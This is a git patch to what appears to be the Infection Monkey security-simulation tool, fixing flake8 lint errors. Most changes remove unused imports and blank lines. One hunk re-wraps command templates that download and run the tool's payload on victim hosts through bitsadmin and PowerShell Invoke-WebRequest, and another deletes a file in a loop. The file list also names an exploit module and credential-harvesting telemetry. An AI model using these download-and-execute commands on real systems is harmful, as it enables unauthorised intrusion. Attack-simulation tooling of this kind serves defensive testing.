From e508540aceaf39ba11b809da2631ecbe99f3e7ca Mon Sep 17 00:00:00 2001 From: Ace Pace Date: Fri, 1 May 2020 13:00:54 +0300 Subject: [PATCH] Fix really random linting errors from flake8 --- monkey/infection_monkey/exploit/weblogic.py | 1 - monkey/infection_monkey/model/__init__.py | 8 ++++---- monkey/infection_monkey/network/info.py | 3 --- monkey/infection_monkey/network/ping_scanner.py | 1 - monkey/infection_monkey/system_info/__init__.py | 1 - monkey/infection_monkey/transport/__init__.py | 2 -- monkey/infection_monkey/utils/windows/users.py | 1 - monkey/monkey_island/cc/bootloader_server.py | 1 - monkey/monkey_island/cc/environment/test_aws.py | 5 ++--- monkey/monkey_island/cc/models/attack/mitigation.py | 1 - monkey/monkey_island/cc/resources/node_states.py | 1 - .../cc/services/attack/technique_reports/__init__.py | 1 - monkey/monkey_island/cc/services/bootloader_test.py | 1 - monkey/monkey_island/cc/services/node.py | 1 + .../cc/services/telemetry/processing/system_info.py | 1 - .../monkey_island/cc/services/utils/bootloader_config.py | 1 - .../monkey_island/cc/services/utils/node_states_test.py | 2 -- monkey/monkey_island/cc/utils.py | 1 - 18 files changed, 7 insertions(+), 26 deletions(-) diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index 04eb43c79..a77259448 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -4,7 +4,6 @@ import time import copy from requests import post, exceptions -from http.server import BaseHTTPRequestHandler, HTTPServer from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.HostExploiter import HostExploiter diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 5644044b0..e7ab94495 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -14,10 +14,10 @@ MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG,) GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)' DROPPER_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(dropper_path)s %s' % (CMD_PREFIX, DROPPER_ARG,) MONKEY_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(monkey_path)s %s' % (CMD_PREFIX, MONKEY_ARG,) -MONKEY_CMDLINE_HTTP = '%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \ - '/c %%(monkey_path)s %s"' % (CMD_PREFIX, MONKEY_ARG,) -DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \ - 'file_path)s exit)) > NUL 2>&1 ' +MONKEY_CMDLINE_HTTP = '%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s' \ + '&cmd /c %%(monkey_path)s %s"' % (CMD_PREFIX, MONKEY_ARG,) +DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & ' \ + 'if not exist %(file_path)s exit)) > NUL 2>&1 ' # Commands used for downloading monkeys POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(" \ diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index 15d9b0d73..68c295fe3 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -51,18 +51,15 @@ if is_windows_os(): local_hostname = socket.gethostname() return socket.gethostbyname_ex(local_hostname)[2] - def get_routes(): raise NotImplementedError() else: from fcntl import ioctl - def local_ips(): valid_ips = [network['addr'] for network in get_host_subnets()] return valid_ips - def get_routes(): # based on scapy implementation for route parsing try: f = open("/proc/net/route", "r") diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py index b08c28a1f..f35533f0c 100644 --- a/monkey/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -7,7 +7,6 @@ import sys import infection_monkey.config from infection_monkey.network.HostFinger import HostFinger from infection_monkey.network.HostScanner import HostScanner -from infection_monkey.model.host import VictimHost __author__ = 'itamar' diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py index d9107e7bf..76bc40eb6 100644 --- a/monkey/infection_monkey/system_info/__init__.py +++ b/monkey/infection_monkey/system_info/__init__.py @@ -1,5 +1,4 @@ import logging -import socket import sys import psutil diff --git a/monkey/infection_monkey/transport/__init__.py b/monkey/infection_monkey/transport/__init__.py index 25509ef85..c3df1cb01 100644 --- a/monkey/infection_monkey/transport/__init__.py +++ b/monkey/infection_monkey/transport/__init__.py @@ -1,3 +1 @@ from infection_monkey.transport.http import HTTPServer, LockedHTTPServer - -__author__ = 'hoffer' diff --git a/monkey/infection_monkey/utils/windows/users.py b/monkey/infection_monkey/utils/windows/users.py index fcd364032..9353509b9 100644 --- a/monkey/infection_monkey/utils/windows/users.py +++ b/monkey/infection_monkey/utils/windows/users.py @@ -73,7 +73,6 @@ class AutoNewWindowsUser(AutoNewUser): def run_as(self, command): # Importing these only on windows, as they won't exist on linux. - import win32con import win32process import win32api import win32event diff --git a/monkey/monkey_island/cc/bootloader_server.py b/monkey/monkey_island/cc/bootloader_server.py index 5adfb3d22..3024b6a42 100644 --- a/monkey/monkey_island/cc/bootloader_server.py +++ b/monkey/monkey_island/cc/bootloader_server.py @@ -46,4 +46,3 @@ class BootloaderHTTPRequestHandler(BaseHTTPRequestHandler): @staticmethod def get_bootloader_resource_url(server_ip): return "https://" + server_ip + ":" + str(Environment._ISLAND_PORT) + "/api/bootloader/" - diff --git a/monkey/monkey_island/cc/environment/test_aws.py b/monkey/monkey_island/cc/environment/test_aws.py index 222e97530..1a52fb171 100644 --- a/monkey/monkey_island/cc/environment/test_aws.py +++ b/monkey/monkey_island/cc/environment/test_aws.py @@ -9,7 +9,8 @@ class TestAwsEnvironment(IslandTestCase): def test_get_auth_users(self): env = AwsEnvironment() # This is "injecting" the instance id to the env. This is the UTs aren't always executed on the same AWS machine - # (might not be an AWS machine at all). Perhaps it would have been more elegant to create a Mock, but not worth it for + # (might not be an AWS machine at all). + # Perhaps it would have been more elegant to create a Mock, but not worth it for # this small test. env._instance_id = "i-666" hash_obj = hashlib.sha3_512() @@ -22,5 +23,3 @@ class TestAwsEnvironment(IslandTestCase): assert auth_user.id == 1 assert auth_user.username == "monkey" assert auth_user.secret == hash_obj.hexdigest() - - diff --git a/monkey/monkey_island/cc/models/attack/mitigation.py b/monkey/monkey_island/cc/models/attack/mitigation.py index 670462257..f87c7593b 100644 --- a/monkey/monkey_island/cc/models/attack/mitigation.py +++ b/monkey/monkey_island/cc/models/attack/mitigation.py @@ -16,4 +16,3 @@ class Mitigation(EmbeddedDocument): description = mitigation['description'] url = MitreApiInterface.get_stix2_external_reference_url(mitigation) return Mitigation(name=name, description=description, url=url) - diff --git a/monkey/monkey_island/cc/resources/node_states.py b/monkey/monkey_island/cc/resources/node_states.py index c7c99cc94..bb5a978b6 100644 --- a/monkey/monkey_island/cc/resources/node_states.py +++ b/monkey/monkey_island/cc/resources/node_states.py @@ -1,4 +1,3 @@ -from flask import request import flask_restful from monkey_island.cc.auth import jwt_required diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index bd4e07c24..18818d571 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -129,4 +129,3 @@ class AttackTechnique(object, metaclass=abc.ABCMeta): return {'mitigations': mitigation_document.to_mongo().to_dict()['mitigations']} else: return {} - diff --git a/monkey/monkey_island/cc/services/bootloader_test.py b/monkey/monkey_island/cc/services/bootloader_test.py index 03df2be97..f71c36184 100644 --- a/monkey/monkey_island/cc/services/bootloader_test.py +++ b/monkey/monkey_island/cc/services/bootloader_test.py @@ -32,4 +32,3 @@ class TestBootloaderService(TestCase): ips = ["127.1.1.1", "127.0.0.1", "192.168.56.1"] ips = BootloaderService.remove_local_ips(ips) self.assertEqual(["192.168.56.1"], ips) - diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 6104b279f..3206fef95 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -411,5 +411,6 @@ class NodeService: def get_hostname_by_id(node_id): return NodeService.get_node_hostname(mongo.db.monkey.find_one({'_id': node_id}, {'hostname': 1})) + class NodeCreationException(Exception): pass diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py index 75c806ea5..5b842df0b 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py @@ -101,4 +101,3 @@ def process_mimikatz_and_wmi_info(telemetry_json): monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id') wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) wmi_handler.process_and_handle_wmi_info() - diff --git a/monkey/monkey_island/cc/services/utils/bootloader_config.py b/monkey/monkey_island/cc/services/utils/bootloader_config.py index cb9ff04a6..f1eaf9368 100644 --- a/monkey/monkey_island/cc/services/utils/bootloader_config.py +++ b/monkey/monkey_island/cc/services/utils/bootloader_config.py @@ -9,4 +9,3 @@ SUPPORTED_WINDOWS_VERSIONS = { "windows7_sp1": True, "windows8_or_greater": True, } - diff --git a/monkey/monkey_island/cc/services/utils/node_states_test.py b/monkey/monkey_island/cc/services/utils/node_states_test.py index 7a8b7dfd1..1204cb881 100644 --- a/monkey/monkey_island/cc/services/utils/node_states_test.py +++ b/monkey/monkey_island/cc/services/utils/node_states_test.py @@ -11,5 +11,3 @@ class TestNodeGroups(TestCase): self.assertEqual(NodeStates.get_by_keywords(['monkey', 'linux', 'running']), NodeStates.MONKEY_LINUX_RUNNING) with self.assertRaises(NoGroupsFoundException): NodeStates.get_by_keywords(['bogus', 'values', 'from', 'long', 'list', 'should', 'fail']) - - diff --git a/monkey/monkey_island/cc/utils.py b/monkey/monkey_island/cc/utils.py index 5504c34b6..37af43745 100644 --- a/monkey/monkey_island/cc/utils.py +++ b/monkey/monkey_island/cc/utils.py @@ -20,7 +20,6 @@ if sys.platform == "win32": else: import fcntl - def local_ips(): result = [] try: